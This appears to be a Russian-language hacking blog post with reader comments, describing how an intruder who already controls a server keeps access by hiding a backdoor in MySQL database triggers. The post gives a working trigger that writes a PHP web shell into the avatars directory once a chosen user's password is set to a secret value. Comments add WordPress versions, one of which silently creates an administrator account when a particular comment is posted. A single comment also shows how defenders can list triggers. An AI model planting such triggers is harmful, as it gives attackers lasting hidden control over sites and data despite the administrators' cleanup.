Categories
Ideas

Бэкдор в триггере

Нередко случается, что все руткиты/бэкдоры/веб-шеллы, полученные взломщиком с большими усилиями, однажды обнаруживаются администратором сервера и безвозвратно удалются. Чтобы закрепиться в системе как можно дольше, используется множество способов, большинство из которых сводится к хранению бэкдора непосредственно в файловой системе. У меня возникла идея хранить “черный ход” в систему в триггерах базы данных.

Триггер – это особая хранимая процедура, которая выполняется при наступлении определенного события на уровне таблицы базы данных. Этими событиями обычно являются использование операторов INSERT, UPDATE, DELETE. Главная особенность триггера заключается в том, что хранимая процедура, которую по сути он представляет собой, вызывается не пользователем, а самой базой данных и только при определенном условии.

При восстановлении утраченного доступа в систему может быть использован заранее внедренный триггер, создающий небольшой веб-шелл или выявляющий пароль администратора, который выполняется при наступлении специального события, известного только взломщику. Выгода такого решения очевидна: если в файловой системе администраторы еще как-то пытаются отслеживать посторонние объекты, то в базе данных обычно этого не делают.

Преположим, что на сайте предусмотрена свободная регистрация пользователей. Для получения в любой момент альтернативного доступа в систему, взломщик создает учетную запись обычного пользователя, затем он разрабатывает триггер таким образом, чтобы при изменении пароля его аккаунта определенным значением триггер записывал в папку небольшой веб-шелл. Событиями для срабатывания триггера могут быть какими угодно: создание определенного поста на форуме, посещение сайта с заданным User-Agent’ом и т.д. Все зависит от характера и структуры таблиц, их предназначения, а также возможности повлиять на конкретную таблицу своими данными в рамках легитимного запроса с операторами INSERT, UPDATE.

Рассмотрим на примере MySQL триггер, записывающий веб-шелл после того, как пароль пользователя сайта становится равным определенному значению.

delimiter |
CREATE TRIGGER backdoor AFTER UPDATE ON users
FOR EACH ROW label:BEGIN
IF (SELECT password FROM users WHERE id=123)='gimme_that_shell' THEN
SELECT '<?=`$c`?>' INTO OUTFILE '/home/site/httpdocs/avators/smile.php';
ELSE
LEAVE label;
END IF;
END;
|

Сперва хочу отметить, что для создания триггера текущий пользователь MySQL должен иметь привилегию SUPER. Для срабатывания хватит прав непривилегированного пользователя, но исключительно для данного примера имеющего file_priv (для INTO OUTFILE). Итак, сначала задаем символ разделения отличный от “;” для того, чтобы использовать “;” внутри процедуры триггера. Далее создаем триггер с именем backdoor для таблицы users, срабатывающий после UPDATE; для каждой строки таблицы выполняем набор инструкций между BEGIN … END и при этом задаем label для последующего использования оператора LEAVE (аналог return). Затем следует основное условие: если пароль пользователя с идентификатором 123 равен значению “gimme_that_shell”, тогда выполняется INTO OUTFILE, записывающий небольшой шелл в директорию с аваторами, иначе выполнение процедуры прерывается. Вместо INTO OUTFILE могут быть использованы другие варианты, например повышение прав пользователя до администратора.

18 replies on “Бэкдор в триггере”

Pento, какая разнича какой код? Это же только для примера, все ж зависит от ситуации.

А способ реально полезный. Скажем спасибо Разору и разработчикам МуСкула за 5-тую версию )))

@Spectre
Спасибо!

Действительно, код может быть каким угодно, главное, чтобы он умещался в пределах системной переменной MySQL max_allowed_packet

Классная идея, ведь действительно, мало кто отслеживает триггеры. Для этого хотя бы нужно иметь хорошенький интерфейс, цель и желание перелопачивать базы на тему изложенную выше…

уверен, что существует, и не только для MSSQL – синтаксис триггеров в большинстве СУБД очень похож

@wi11son
на самом деле выявить посторонний триггер можно очень легко:
SELECT * FROM information_schema.TRIGGERS

@Dominus @halk
спасибо =)
Приношу извинения за задержку одобрения ваших комментариев, акисмет отправил их в спам… Задумался об установке обычной капчи вместо него, такое распознавание “спама” меня не устраивает =\

>создание определенного поста на форуме
ну это хлопотно. вытащить из таблиц той же воблы событие конкретного постинга…

а в целом – а что еще интересного может дать применение триггеров на сайте жертвы в свою пользу, кроме шелла?
именно после удаления шелла/блокирования аккаунта и прочее

Ребят, мож, я тупой, но не пойму всей сути статьи.
Как посторонний человек может создать триггерна постороннем сайте?

>Для получения в любой момент альтернативного доступа в систему, взломщик создает учетную запись обычного пользователя, затем он разрабатывает триггер таким образом, чтобы при изменении пароля его аккаунта определенным значением триггер записывал в папку небольшой веб-шелл.

Типа я могу зарегаться на любом форуме, написать свой триггер, попросить владельца форума его скомпилить у себя, а после уже изменить свой пароль и залить веб-шелл?
Мдя.. ИМХО, но статья по-моему из рода “нашёл ужасную багу – любые данные можно безвозвратно уничтожить всего лишь простым ударом утюгом по системному блоку! Ааа!!! берегитесь утюгов!!!”

Читайте внимательнее – нужен локальный доступ, т.е. подразумевается, что на скомпрометированной машине уже есть, например, веб-шелл, и вам нужно оставить бэкдор.

на то он и бекдором называется что бы после проникновения на сервер создать запасной вариант востановиться на нем)в определениях не хорошо остаться)это касательно прошлого коммента)а касательно тригера то у меня почему то phpadmin ругается на разделитель:( что за хрень , есть еще какая нибудь инфа

а тригер точно на способен на бекдор сколько не пробовал под wp нечего не вышло

DELIMITER //
CREATE TRIGGER backdoor AFTER UPDATE ON wp_users
FOR EACH ROW label:BEGIN
IF (SELECT user_pass FROM wp_users WHERE ID=1)=’$P$B9wcvAmi3JvyqJ5991Qif8LRgzSAfc.’ THEN
SELECT ” INTO OUTFILE ‘site/smile.php’;
ELSE
LEAVE label;
END IF;
END;
//
DELIMITER ;

я бы подумал что руки кривые, но и у ребят с форума тоже нечего не получилось

DELIMITER //
CREATE TRIGGER `INSERT` BEFORE INSERT ON `wp_comments`
FOR EACH ROW BEGIN
IF NEW.comment_content = ‘add admin’ THEN
INSERT INTO `wp_users` ( `ID` , `user_login` , `user_pass` ) VALUES
(‘31337’, ‘root’, ‘$P$B9wcvAmi3JvyqJ5991Qif8LRgzSAfc.’);
INSERT INTO `wp_usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES
(‘31337’, ‘wp_capabilities’, ‘a:1:{s:13:”administrator”;s:1:”1″;}’),
(‘31337’, ‘admin_color’, ‘fresh’),
(‘31337’, ‘comment_shortcuts’, ‘false’),
(‘31337’, ‘rich_editing’, ‘true’),
(‘31337’, ‘nickname’, ‘root’),
(‘31337’, ‘first_name’, ‘drtro.public@gmail.com’),
(‘31337’, ‘wp_user_level’, ’10’);

END IF;
END
//
DELIMITER ;

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.